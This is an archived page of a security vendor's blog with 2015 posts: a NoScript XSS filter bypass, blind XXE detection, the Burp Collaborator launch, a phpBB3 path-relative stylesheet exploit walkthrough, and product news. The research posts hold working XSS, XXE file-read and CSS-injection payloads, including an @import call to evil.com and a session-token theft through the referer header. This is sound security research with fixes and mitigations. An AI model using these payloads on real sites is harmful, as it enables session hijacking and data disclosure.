Burp Suite, the leading toolkit for web application security testing

PortSwigger Web Security Blog

Tuesday, July 28, 2015

Noscript XSS filter bypass

I thought I'd take a look at the Noscript's XSS filter and see if I could come up with a bypass. The filter is pretty impressive, it was tough to find one. I noticed that it allows function calls to user defined functions such as "a", so a vector of ',a(1),' would work fine. This isn't exploitable since you need a function on the page that does something dangerous with the arguments but it gave me a clue how to get round the filter. It was time to fire up Hackvertor and have a look which methods might have been forgotten.

I inspected an object literal and found "__defineSetter__". This would work on window since every object has the method. Define setter allows you to set a property with the first argument and the function you want to call in the second argument.

Because __defineSetter__ is a method of the window object you do not need to specify window when calling it. I tried an injection of ',__defineSetter__('x',alert),x=1,' and it worked perfectly bypassing Noscript's XSS filter check in script context. The output of the page would look like this:

<script>x = '',__defineSetter__('x',alert),x=1,'';</script>

Define setter is called on window with a property of "x", alert is then called when an assignment of "x" occurs with an argument of "1". 

You can also call arbitrary code by changing the alert to eval and the assignment to "name". Using name as the assignment allows you to send a payload across domains using the window.name property. Usually you use an iframe with a name attribute of the payload you wish to execute then reuse that payload using the "name" property in the injected site. An example of that is below:

<iframe name=alert(1) src="//somedomain?x=',__defineSetter__('x',eval),x=name,'"></iframe> 

The filter has now been patched and the vector no longer works.

Thursday, May 7, 2015

New Burp Suite testing methodologies

The Burp Suite Support Center has a new section covering Burp testing methodologies. These are aimed at people who are new to using Burp for web security testing, and contain step-by-step tutorials on common tasks, including:
There is also a guide to using Burp Suite to find all of the OWASP Top Ten vulnerabilities.

We will be adding many more methodology articles over the coming months to cover more testing areas and go into more detail on the above topics. If there is a particular subject that you would like to see covered, please let us know.

Wednesday, May 6, 2015

Burp Suite now reports blind XXE injection

Today's release of Burp Suite Professional updates the Scanner to find blind XML external entity (XXE) injection vulnerabilities.

Burp has previously checked for XXE injection by modifying client-submitted XML data to define an external entity that references a known file, for example:

<!DOCTYPE foo [<!ENTITY xxe7eb97 SYSTEM "file:///etc/passwd"> ]>

and then using the defined entity within a data field of the document. If the application responds with the contents of the specified file, then this indicates that the application processed the injected external entity, and Burp reports the issue.

This technique works well in situations where the application echoes the value of the defined entity in its response. But there are very many cases of blind XXE injection where this does not occur. In these situations, the application processes and evaluates the injected external entity but does not give any indication in its response that this has taken place.

Burp's new capability lets it report blind XXE injection in these situations. Burp now attempts to define an external entity that references a URL on an external domain, for example:

<!DOCTYPE foo [<!ENTITY xxe46471 SYSTEM "http://4mr71zbvk10c5vd1k074izfvbmhnxdi7xw.burpcollaborator.net"> ]>

When the vulnerable application processes this external entity, it fetches the contents of the specified URL, and so interacts with the Burp Collaborator server (typically a DNS lookup followed by an HTTP request). After sending the blind injection payload, Burp Suite polls the Collaborator server to determine that the interaction occurred, and so reports the issue.

Full details of the vulnerability are reported to the user, including both blind and non-blind behaviors, and all interactions with the Collaborator server:

Due to the lack of widespread testing for blind XXE injection vulnerabilities in the past, it appears that these vulnerabilities are relatively common in application functions where client-submitted XML is processed on the server side. Burp's new capability in detecting blind XXE injection is an excellent example of what it is possible to build on the core Burp Collaborator platform. Over the coming months, we will be adding a lot of new capabilities to Burp, based on this platform. Users are encouraged to make use of the Collaborator feature, either via the public Collaborator server or a private deployment.

Thursday, April 16, 2015

Introducing Burp Collaborator

Today's release of Burp Suite introduces Burp Collaborator. This new feature has the potential to revolutionize web security testing. Over time, Burp Collaborator will enable Burp to detect issues like blind XSS, server-side request forgery, asynchronous code injection, and various as-yet-unclassified vulnerabilities.

In the coming months, we will be adding many exciting new capabilities to Burp, based on the Collaborator technology. See the "Release roadmap" section towards the end of this post for more details.

This blog post looks at:
  • Some important limitations of the conventional web testing model.
  • How Burp Collaborator will address these limitations.
  • Lots of real-world vulnerabilities that don't fit into the usual classifications.

The conventional web testing model

At its core, conventional web security testing is fairly simple: we send payloads to the target application, and analyze responses to identify security vulnerabilities.

This model is well established and understood, and enables us to identify many kinds of security issues. Much of the work can also be automated with a degree of reliability.

However, the conventional testing model also misses lots of bugs, for example:
  • We miss "super-blind" injection vulnerabilities. People often refer to "blind SQL injection", meaning only that an application doesn't return helpful error messages when a payload breaks the interpreted query. But in some situations, a successful injection has no detectable effect on application responses: that is, no difference in response contents or timing. For example, SQL injection into an asynchronous logging function is typically super-blind in this sense.
  • We miss many vulnerabilities involving stored data. Bugs like stored XSS are easy to find in principle (by monitoring later responses for earlier payloads). But other stored bugs are much harder to find. For example, in stored (or second-order) SQL injection, data placed safely into a database is later read back and concatenated into a SQL query. To find bugs like this in the conventional model, we might need to brute force every combination of requests within the application, to send a payload in request 1 and look for effects via request 2.
  • We miss vulnerabilities where a successful attack can only be detected in areas of the application that are not directly visible to the tester. For example, stored XSS vulnerabilities affecting admin-only pages.
  • We miss many vulnerabilities involving interaction with external systems. Bugs in this category are often given labels like "server-side request forgery" and "remote file include".

Enter Burp Collaborator

Burp Collaborator augments the conventional testing model with a new component, distinct from Burp and the target application. Burp Collaborator can:
  • Capture external interactions initiated by the target that are triggered by Burp's attack payloads.
  • Deliver attacks back against the target in responses to those interactions.
  • Enable the reliable detection of many new vulnerabilities.

The basic design of Burp Collaborator includes the following features:
  • The Burp Collaborator server runs on the public web (by default).
  • It uses its own dedicated domain name, and the server is registered as the authoritative DNS server for this domain.
  • It provides a DNS service that answers any lookup on its registered domain (or subdomains) with its own IP address.
  • It provides an HTTP/HTTPS service, and uses a valid, CA-signed, wildcard SSL certificate for its domain name.
  • In future, custom implementations of various other network services will be provided, such as SMTP and FTP.

Detecting external service interaction

External service interaction occurs when a payload submitted to the target application causes it to interact with an arbitrary external domain using some network protocol:

This behavior is sometimes referred to as "server-side request forgery". We prefer the term "external service interaction" because this captures more general behavior: interactions can be triggered using protocols other than HTTP, such as SMB or FTP.

External service interaction can represent a serious vulnerability because it can allow the application server to be used as an attack proxy to target other systems. This may include public third-party systems, internal systems within the same organization, or services available on the local loopback adapter of the application server itself. Depending on the network architecture, this may expose highly vulnerable internal services that are not otherwise accessible to external attackers.

The Burp payload includes a random subdomain of the main Collaborator domain. When an HTTP-based external service interaction occurs, the Collaborator server will typically receive a DNS lookup for this subdomain, followed by an HTTP request. However, it is noteworthy that the DNS lookup alone is sufficient to report an issue. If a payload starting "http://..." causes a DNS-only interaction, then this strongly indicates that outbound HTTP from the server is being blocked at the network layer. In this situation, a follow-up attack could target other systems internal to the organization or running on the server's loopback adapter. For this reason, Burp separately reports any DNS and HTTP interactions that are triggered.

In its issue advisory, Burp reports the in-band request that was made to the application, and the full details of the interactions that occurred with the Collaborator server:

Detecting out-of-band resource load

Out-of-band resource load occurs when a payload submitted to the target application causes it to fetch content from an arbitrary external domain using some network protocol, and incorporate that content into its own response to the request that contained the payload:

This behavior is sometimes referred to as "remote file include". However, this label has connotations of vulnerabilities like PHP remote script inclusion. We prefer the term "out-of-band resource load" because this captures the more general behavior where content obtained out-of-band is somehow incorporated into the application's own responses. (Server-side execution of content obtained out-of-band is discussed later in this post.)

Out-of-band resource load is a potentially high-risk issue. An attacker can leverage the application as a two-way attack proxy, sending arbitrary payloads to, and retrieving content from, other systems that the application server can interact with. Again, this may include third-party systems or sensitive internal systems that are otherwise inaccessible.

Additionally, the application's processing of out-of-band content exposes some important and non-conventional attack surface. The possible ways of targeting this are described in more detail later in this post.

Burp reports the full details of the interactions that occurred with the Collaborator server, showing how the content returned from the Collaborator is propagated back in the application's in-band response to the user:

Detecting out-of-band XSS

In cases where out-of-band resource load is identified, the most obvious related issue to check for is out-of-band XSS:

Out-of-band XSS doesn't fall under the usual XSS classifications:
  • Not reflected: the payload isn't reflected from the current in-band request to the target application.
  • Not stored: the payload isn't (necessarily) stored by the target application.
  • Not DOM-based: existing JavaScript isn't (necessarily) involved.
Out-of-band versions of some other client-side issues arise in a similar way, including HTTP response header injection, and open redirection.

Detecting "super-blind" injection bugs

In cases where a code injection attack cannot trigger any detectable effect in the application's own responses (that is, any difference in response contents or timing), we can often detect the vulnerability by using payloads that trigger an external service interaction when the injection is successful:

Viable payloads exist for many categories of injection vulnerabilities, including SQL injection, XXE injection, OS command injection, etc. With these payloads, Burp does not need to observe any effect in the application's own responses, and successful injection can be detected solely through the fact that the external interaction occurred. Note also that in this situation, only a DNS interaction is needed to confirm the injection. Since outbound DNS is almost always permitted because servers need to use it, network-layer filters are unlikely to hinder detection.

Detecting out-of-band injection bugs

When any type of external service interaction is identified, we can use the Collaborator server's responses to deliver conventional input-based payloads back to the application. Depending on how the application processes the Collaborator's responses, potentially any input-based vulnerability could exist, including SQL injection and server-side code execution:

Vulnerabilities like this might be surprisingly common because they are not thoroughly tested for at present.

Detecting stored out-of-band bugs

In addition to the out-of-band injection bugs described in the previous section, there is the potential for stored out-of-band attacks in any situation where the target application processes data that it receives in responses from the Collaborator server.

Detecting stored out-of-band resource load is straightforward:

Based on the above behavior, we can also test for stored out-of-band XSS:

Whenever we discover stored out-of-band resource load, we are able to link an entry point and a retrieval point within the application. We know that the application is storing and processing data between the two locations, so we can check for stored out-of-band versions of any type of input-based bug:

Detecting blind stored vulnerabilities

We already described how we can detect "super-blind" injection bugs using payloads that trigger an external service interaction when the injection is successful. We can also detect cases where these (or other) payloads are stored and processed later in an unsafe way. Deferred interactions with the Collaborator server enable us to report blind stored versions of many input-based bugs. 

For example, blind stored XSS arises when the result of a stored XSS attack cannot be detected from the tester's perspective, because the tester does not have access to the area of the application where the stored attack executes. We can detect these issues by submitting stored XSS payloads that will trigger an interaction with the Collaborator server when the attack later executes:

In this example, when an application administrator visits the relevant protected page, the stored attack executes, and Burp can confirm this via the Collaborator server. Further, the HTTP Referer header in the administrator's incoming request to the Collaborator lets us identify the location of the XSS retrieval page, which we cannot directly see ourselves.

Reporting deferred interactions

In general, any Collaborator-related payload that Burp sends to the target application might cause deferred interactions with the Collaborator server. This can happen in two main ways:
  • Conventional storage and later processing of input, e.g. stored SQL injection.
  • Immediate asynchronous processing, e.g. by a mail spooler.
When Burp polls the Collaborator server to retrieve details of any interactions that were triggered by a given test, it will also receive details of any deferred interactions that have resulted from its earlier tests. Burp can then report the relevant issues to the user retrospectively.

Because every Collaborator payload that Burp sends to the target includes a unique, one-time random identifier, when a deferred interaction occurs, Burp can use the identifier to pinpoint exactly where the payload originated, including the original request, the insertion point and the full payload. 

Imagine this: A day after you finish your test, you fire up Burp Suite and open the same project. Burp polls the Collaborator and reports some deferred-interaction issues, with all the usual details. You call up the client and tell them about all their blind stored XSS ...

Other network services

We have focused on vulnerabilities involving DNS and HTTP interactions between the target application and Burp Collaborator. In fact, we can use payloads to trigger Collaborator interactions using various other protocols. For example, we can potentially:
  • Inject into mail headers and detect this via SMTP interactions with the Collaborator.
  • Trigger a connection to an SMB share and capture the NTLM handshake.
  • Trigger a connection to an SSH service and capture credentials.

How prevalent are these issues?

Some of the application behavior we have described is relatively rare, for example:
  • Getting a URL from a request parameter.
  • Fetching the response from the URL.
  • Processing the response contents in some way.
Other behavior is relatively common, for example:
  • Storage of conventional user-supplied data.
  • Later reuse in a potentially unsafe manner.
  • Super-blind processing of results.
It seems fair to say that the cases where the relevant behavior exists are relatively untested, even by skilled attackers:
  • Full Collaborator-style functionality is expensive to create, requiring a custom domain name, wildcard SSL certificate, and custom implementations of various network protocols.
  • Even with a suitable Collaborator-like server deployed, manually correlating input entry points and results of stored and deferred interactions is time consuming and error-prone.
  • No automated scanner currently does everything that we've described.
Hence, we may reasonably conclude that where the relevant behavior exists, there is lots of low hanging fruit to be found. Anecdotal evidence from skilled bug bounty hunters supports this conclusion. (Sorry guys, Burp will soon open up these bugs to the masses!)

Manual testing tools

In the hands of a well-designed automated scanner, the Collaborator concept is incredibly powerful. There is also potential for some great manual tools that leverage the Collaborator's capabilities. These tools would let users manually verify and exploit issues that Burp Scanner has reported (for example, performing custom data exfiltration via super-blind SQL injection), and also do their own targeted testing of relevant attack surface.

Two key manual tools are planned:
  • Burp Collaborator client
  • Burp Intruder integration

Burp Collaborator client

This will include the following components
  • Monitoring function - This will generate a unique Collaborator identifier for you to use in your own test payloads. It will poll the Collaborator and give full details of any interactions that result from using this identifier.
  • Response-control function - This will let you configure the response that the Collaborator should return to targets that interact with it.
Used in conjunction with Burp Repeater, the Collaborator client will give you real-time three-way interaction between Burp, the target application, and the Collaborator server, all under full manual control.

Burp Intruder integration

This will provide a new Intruder attack option to use out-of-band payload delivery when an external service interaction has been identified. With the option enabled, Burp will send a unique Collaborator URL as the in-band payload to the target application. When the target performs the external interaction, the Collaborator server will return the actual configured payload to the target.

Security of Collaborator data

At this point, you may be forgiven for asking "Does this mean that the Collaborator server holds details of all the vulnerabilities that are found using it? What's to stop anyone else fetching the details of my issues?".

In fact, you're not just forgiven for asking this: we'd be disappointed if you didn't. We've spent a lot of time ourselves thinking about these questions.

What data does the Collaborator server store?

In most cases, when a vulnerability is found, the Collaborator server will not receive enough information to identify the vulnerability. It does not see the HTTP request that was sent from Burp to the target application. In a typical case, it will record that an interaction was received from somewhere, including a random identifier that was generated by Burp. Occasionally, the Collaborator server will receive some application-specific data: for example, the contents of an email generated through a user registration form.

How is retrieval of Collaborator data controlled?

The Collaborator functionality is designed so that only the instance of Burp that generated a given payload is able to retrieve the details of any interactions that result from that payload. This requirement is implemented as follows:
  • Each instance of Burp generates a securely random secret.
  • Each Collaborator-related payload that Burp sends to the target application includes a random identifier that is derived from a one-way hash (cryptographic checksum) of the secret.
  • Any resulting interactions with the Collaborator will include this identifier in the transmitted data (for example, in the subdomain of a DNS lookup, or the Host header of an HTTP request).
  • The secret is only ever sent by Burp to the Collaborator server, to poll for details of the resulting interactions. This is done using HTTPS, unless overridden in Burp's options.
  • When the Collaborator server receives a polling request, it performs the one-way hash of the submitted secret, and retrieves the details of any recorded interactions containing identifiers that are derived from that hash.
  • Hence, only the instance of Burp that generated the secret is able to retrieve the details of any interactions that are triggered by its payloads.
Further to this mechanism, the following precautions are also implemented in the Collaborator server to protect against unauthorized access to its data:
  • Details of interactions are stored in ephemeral process memory only.
  • No data of any kind is in recorded in any persistent form: for example, a database or log file.
  • Details of interactions are typically retrieved by Burp shortly after they occur, and are then discarded by the server.
  • Details of old interactions that have not been retrieved by Burp are discarded after a fixed interval.
  • There is no administrative function for viewing interaction details, only the retrieval mechanism already described.
  • The Collaborator server does not by design receive any data that could be used to identify any individual Burp user (such as an account name or license key).

Private Collaborator servers

Users who remain paranoid about any data passing through the shared Burp Collaborator server have two alternative options. If you wish, you can completely disable use of the Collaborator feature within Burp. Even better, you can choose to run your own private Collaborator server:

Anyone with a Burp Suite Professional license can run their own instance of the Collaborator server. To do this fully effectively, you will need a host server, a dedicated domain name, and a valid CA-signed wildcard SSL certificate. Private Collaborator servers without a suitable domain name or SSL certificate will be able to support some, but not all, of the Collaborator-related capabilities within Burp.

You can protect your private Collaborator instance at the network layer: you can configure different network interfaces to receive interactions and answer polling requests, and you can apply whatever IP restrictions you want, given the locations of your targets and testers. The option to use a private Collaborator server is likely to appeal to penetration testing firms and in-house security teams. It can also enable individual testers to deploy a Collaborator instance when testing on private closed networks with no Internet access. 

See the documentation on deploying a private Collaborator server for more details.

Release roadmap

Today's Burp Suite release includes the following elements:
  • Core Burp Collaborator platform and server.
  • Support for DNS, HTTP and HTTPS services.
  • Reporting of external service interaction and out-of-band resource load.
  • Support for private Collaborator servers.
In the coming months, we will deliver some of the other capabilities described in this post, including:
  • Out-of-band versions of all input-based scan checks.
  • Detection of various "super-blind" vulnerabilities.
  • Checks for stored versions of all relevant vulnerabilities.
  • Handling of deferred interactions and retrospective reporting of resulting issues.
  • Support for other network service protocols, and associated test payloads.
  • Manual testing tools.

Have fun!

Tuesday, February 17, 2015

Detecting and exploiting path-relative stylesheet import (PRSSI) vulnerabilities

Early last year Gareth Heyes unveiled a fascinating new technique for attacking web applications by exploiting path-relative stylesheet imports, and dubbed it ‘Relative Path Overwrite’. This attack tricks browsers into importing HTML pages as stylesheets by abusing the path handling features of many common web languages and frameworks. Thanks to extremely tolerant stylesheet parsing, this can frequently be used to inject malicious CSS and hijack user accounts.

This technique is currently quite esoteric, so it’s often effective against sites that have already been subjected to professional or crowdsourced audits. However, successfully exploiting it in a real world environment involves navigating an array of arcane browser internals that often aren't otherwise highly relevant to pentesters. This post aims to help out by walking through the process of identifying and exploiting this issue, using a real vulnerability in the popular bulletin board software phpBB3 as a worked example.

The fundamentals

Webpages can use path-relative links to load content from nearby folders. For example, say a browser loads


and this page uses the following statement to import an external stylesheet: 

<link href="styles/prosilver/theme/print.css" rel="stylesheet" type="text/css"/>

The absence of a leading / indicates that the browser should interpret it relative to the current page’s folder. The web browser will calculate this folder (/phpBB3/) from the current URL, and grab the stylesheet from:


So far so good. However, thanks to a feature of PHP (and .NET, JSP and many frameworks*), the same original page can be accessed by browsing to:


Parsing URLs is tricky, and web browsers are oblivious to this feature so they will misinterpret this URL as referring to a file called ‘here’ in the ‘/phpBB3/viewforum.php/anything/’ folder and attempt to import the following page as a stylesheet:


The server will view this as a second request to /phpBB3/viewforum.php, and serve an HTML response.

Exploiting Quirks

What happens when a browser tries to load an HTML page as a stylesheet? It depends on whether the importing page was rendered in ‘Quirks mode’. Quirks mode was designed to gracefully handle the poorly coded websites common in the early days of the web. If Quirks mode is active, the browser will happily ignore the ‘Content-Type: text/html’ header and parse the document looking for any CSS to execute. If not, the browser will refuse to parse it, and display a helpful message in the developer tools:

The stylesheet was not loaded because its MIME type, "text/html", is not "text/css". No live internal IPs were disclosed in the making of this.


SEC7113: CSS was ignored due to mime type mismatch

This means that to create a working exploit we need the page to be rendered in Quirks mode. Quirks mode is triggered automatically when a HTML page fails to set a doctype, or uses an old one like:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

See the table near the bottom of https://hsivonen.fi/doctype/ for a fairly comprehensive list of which doctypes trigger this behaviour.

Fortunately for us, there is a way to trigger Quirks mode even when the page uses a modern doctype. Internet Explorer allows document modes to be inherited through iframes, so we can force any page to be loaded in Quirks mode by framing it*. phpBB3 doesn’t use any effective anti-framing measures, so we can proceed using this attack route. The following HTML uses a meta tag to ensure Quirks mode is activated, then loads the target page:

<html><head><meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7"></head><body><iframe src=http://example.com/phpBB3/viewforum.php/foo/bar

We can confirm that this has worked by noting that although the CSS is still broken, the ‘CSS was ignored due to mime type mismatch’ messages have disappeared. In certain rare situations an oblivious server may detect that the filename ends in ‘.css’ and set ‘Content-Type: text/css’ automatically, removing the need for Quirks mode.

Injecting CSS

Now that we have got the browser to import a HTML page as a stylesheet, we just need a way to get our malicious CSS into position. Since CSS parsers are so tolerant, it doesn’t really matter where in the HTML tree the payload lands. All we need to do is inject the following minimal payload:


The leading %0A{} is necessary to get the CSS parser into the correct state to handle the *{ selector, and the %0A can be omitted if you aren’t inside a quoted string.

Depending on what the page displays, the payload could originate from a classic persistent input, or the user’s session, referrer, path or cookie. Our target page reflects the path, so we’ll use that:


which returns:

<link rel="alternate" type="application/atom+xml" title="Feed - yourdomain.com" href="http://example.com/phpBB3/search.php/
{}*{color:red;}//styles/prosilver/theme/feed.php" />

If we place this URL in the iframe we prepared earlier, we can see the injected CSS taking effect:

Malicious CSS

To load an external stylesheet of arbitrary length, just replace the *{color: red;} payload with @import url(//evil.com). Being able to execute arbitrary CSS on someone else’s domain opens the door to all kinds of carnage:
In some situations Internet Explorer refuses to send cookies to iframed sites due to P3P. This limits attacks to unauthenticated content grabbing, such as scraping passwords from internal corporate wikis. Fortunately for us, this problem doesn't affect intranet sites or sites with a solid P3P policy, and P3P is not even implemented in Windows 10 - see A Quick Look at P3P for more information.

The last approach might sound quite implausible, but that’s exactly what phpBB3 does. Whenever a logged in user visits


the server redirects them to


where ‘sid’ is their session key, fresh out their cookie. This key is then appended to a path relative stylesheet imports:

<link href="./../style.php?id=1&amp;lang=en&amp;sid=6a37bda1ee5b560e1e70395cfb8b11d8" rel="stylesheet" type="text/css"

We can abuse this by constructing a payload which discloses the entire session token in a single request, via the HTTP referrer header. The source for this attack is:

<html><head><meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7"></head><body><iframe width="90%" height="90%" src="

The attack URL is a bit messy because I had to double-URL encode it to get through the initial redirect. Also, the redirect encoded and filtered spaces and newlines, so I replaced them with tab and ‘form feed’ characters instead respectively, courtesy of http://html5sec.org/#45

It triggers the following sequence of events when loaded in Internet Explorer by a user logged in to phpBB:
  • The meta statement triggers Quirks mode. 
  • The site loads the following URL in an iframe:
  • This results in a redirect to:
  • The users’ browser renders this page and tries to load the following HTML page as a stylesheet:
  • When processing this page, the CSS parser reaches and executes the following statement injected via the URL: @import '//portswigger.net/css/ps.css'
This makes the browser leak the session id by trying to fetch http://portswigger.net/css/ps.css with the following referer header:

Request triggered by phpBB3 to http://portswigger.net

Request to http://portswigger.net disclosing SID in the referer header

Obtaining the sid token grants us access to the target's session, but for one final catch. phpBB3 associates session tokens with IP addresses by default, so in a remote attack scenario you’d need to proxy through the victim’s browser using DNS rebinding, an attack that's possible in all major browsers but sadly beyond the scope of this writeup.

Automatic detection

Hopefully this post has enough detail for you to find this vulnerability using nothing but coffee and a web browser. However, if you're looking for something a bit more scalable, Burp Suite's passive scanner automatically recognises and reports pages containing path-relative stylesheet imports that may be susceptible to content-sniffing. Launching an active scan will follow up on this and verify that the server has the path-handling features necessary to trigger a misguided import:

The final step of injecting CSS is (currently) left as an exercise for the user.

Securing applications

The example vulnerability in phpBB3 was classified as CVE-2015-1431, and fixed in version 3.0.13.

The root problem can be resolved by not using path-relative links on systems with flexible path-handling. Finally, the vulnerability can be mitigated using the following best practise steps, which may look awfully familiar:
  • Set the server header X-Frame-Options: deny on all pages 
  • Set the server header X-Content-Type-Options: nosniff on all pages 
  • Set a modern doctype (eg: <!doctype html>) on all pages


Avoiding this vulnerability is easy enough, but I think the way it arose in the first place is an excellent example of tolerance and flexibility conflicting with security. This issue simply wouldn't exist without garbage-happy CSS parsing, browsers bending rules and content-sniffing to render noncompliant web pages, or web frameworks redefining URL components as a pseudo query-string.

* The syntax to attack JSP applications is slightly different: http://example.com/index.jsp;anything/here

Thursday, January 22, 2015

Burp Suite Support Center

We're pleased to announce the arrival of the new Burp Suite Support Center:

The Support Center is a single portal where you can:
  • Read helpful articles on using Burp
  • Search all content
  • Engage in community discussions
  • Send private emails to the Burp Suite support team
  • View all of your support interactions with us
  • Watch tutorial videos (coming soon)
We'll be steadily updating the articles on the Support Center in the months ahead to cover all aspects of using Burp. The community discussions area of the Support Center replaces the existing user forum.

Visit the Support Center >

Thursday, January 1, 2015

Burp Suite Pro price held for 2015

Yet another year has just gone by in which the price of Burp Suite Pro has held steady. Burp has cost $299 for over three years now.

In that time, we've released 47 updates, and added tons of new features. In the last year alone, we've made the following improvements to Burp:
  • The new BApp Store, for sharing community-authored Burp extensions.
  • Support for WebSockets messages.
  • Improved Spider link discovery and WIVET score.
  • Support for nested scan insertion points, enabling Burp to automatically scan complex data structures, such as JSON within XML within a URL parameter.
  • A brand new static code analysis engine, enabling Burp to reliably report DOM XSS and a dozen other new DOM-based issues.
  • Scanner checks for several new types of vulnerability, including:
    • Perl code injection
    • PHP code injection
    • Ruby code injection
    • Server-side JavaScript code injection
    • File path manipulation
    • Serialized object in HTTP message
    • Cross-site request forgery
  • Significant enhancements to existing scan checks, including XSS, SQL injection, OS command injection and file path traversal.
  • A new mechanism for anonymous reporting of Burp's performance, which has enabled us to resolve several edge case bugs and improve Burp's general stability.
  • Numerous other minor enhancements throughout Burp.
All updates are made available to licensed users without any additional charge.

Today, we pledge that we will not increase the USD price of Burp Suite Pro during 2015. Instead of hiking the price, we'll continue to add great new features. Work is already far advanced on some big new features that will further empower Burp users during the course of 2015.

Happy new year!

Support Center

Get help and join the community discussions at the Burp Suite Support Center.

Visit the Support Center ›

Copyright 2015 PortSwigger Ltd. All rights reserved.